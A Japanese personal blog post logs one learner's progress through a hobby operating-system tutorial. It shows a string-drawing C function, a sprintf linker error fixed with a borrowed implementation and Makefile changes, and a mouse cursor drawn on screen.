文字列をかきますが、やることは先ほどのコードのうち、文字を設定する関数をまとめるだけです。で、文字列の終端はヌルバイトになるため、ヌルバイトに到達したら設定を終了するという処理をかけばいいです。bootpack.cに関数を追加しますが、その関数がこちら。

void putfonts8_asc(char *vram, int xsize, int x, int y, char c, unsigned char *s)
{
        extern char hankaku[4096];
        for (; *s != 0x00; s++) {
                putfont8(vram, xsize, x, y, c, hankaku + *s * 16);
                x += 8;
        }
        return;
}

実行した結果は以下の通りです。
f:id:motojiroxx:20180622001637p:plain

harib02g

変数の値を表示させます。
が、他のサイトでもあるとおり、sprintf関数をそのまま使おうとするとエラーが出て先に進めなくなります。
私の場合、以下のようなエラーが出ました。

forensic@forensic-virtual-machine:~/tegaki_os/day5/harib02g$ make hariboteos.img
nasm ipl.nas -o ipl.bin
nasm nasmhead.nas -o nasmhead.bin -l nasmhead.lst
nasm -f elf nasmfunc.nas -o nasmfunc.o -l nasmfunc.lst
gcc -march=i486 -m32 -nostdlib -T os.lds nasmfunc.o hankaku.c bootpack.c -o bootpack.hrb
/tmp/ccfzvo0m.o: In function `HariMain':
bootpack.c:(.text+0xc3): undefined reference to `sprintf'
collect2: error: ld returned 1 exit status
Makefile:2: recipe for target 'bootpack.hrb' failed
make: *** [bootpack.hrb] Error 1

リンクで問題がおこっているっぽいので、その辺どうにか対処すればいきそうなのですがちょっと今回はさくっといきたいのでharib02eの時と同様に参考サイトのsprintf関数のコードをお借りします。
sprintfを実装する | OS自作入門 5日目-2 【Linux】 | サラリーマンがハッカーを真剣に目指す
上記のリンクにあるコードをmysprintf.cとして保存します。
あとは、bootpack.cでmysprintf.cで定義されている関数を使うので、Makefileを編集してちゃんとリンクされるように設定します。
変更したのはbootpack.hrbを生成する部分で、加えてmysprintf.oを生成する項目を新たに記述いたしました。

bootpack.hrb: hankaku.c mysprintf.o bootpack.c nasmfunc.o os.lds
        gcc -march=i486 -m32 -nostdlib -T os.lds nasmfunc.o hankaku.c mysprintf.o bootpack.c -o bootpack.hrb
・・・
mysprintf.o: mysprintf.c
        gcc -c -m32 -march=i486 -nostdlib mysprintf.c -o mysprintf.o

bootpack.cのコードについては本の内容で十分かと思いますので、改めてここで説明する必要はないかと。
ということで、実行した結果は以下の通りです。
f:id:motojiroxx:20180624182706p:plain

harib02h

マウスカーソルを描いてみます。ようやくOSっぽさが出てきた感じです。
4日目の最後にやったタスクバーの表示などと似たような感じで、マウスカーソルを出していきます。
今回もbootpack.cにコードを追加していきます。これも本を見ておけば問題ないかなと。
ということで、実行した結果は以下の通り。
f:id:motojiroxx:20180625010956p:plain

まだカーソルは動きませんが、だんだんOSっぽくなってきました!


ということで、今回はこの辺で。
ソースコードについては、ここで載せるよりかはgithubにあげた方がいいかと思いますので、後日その辺は載せようかと。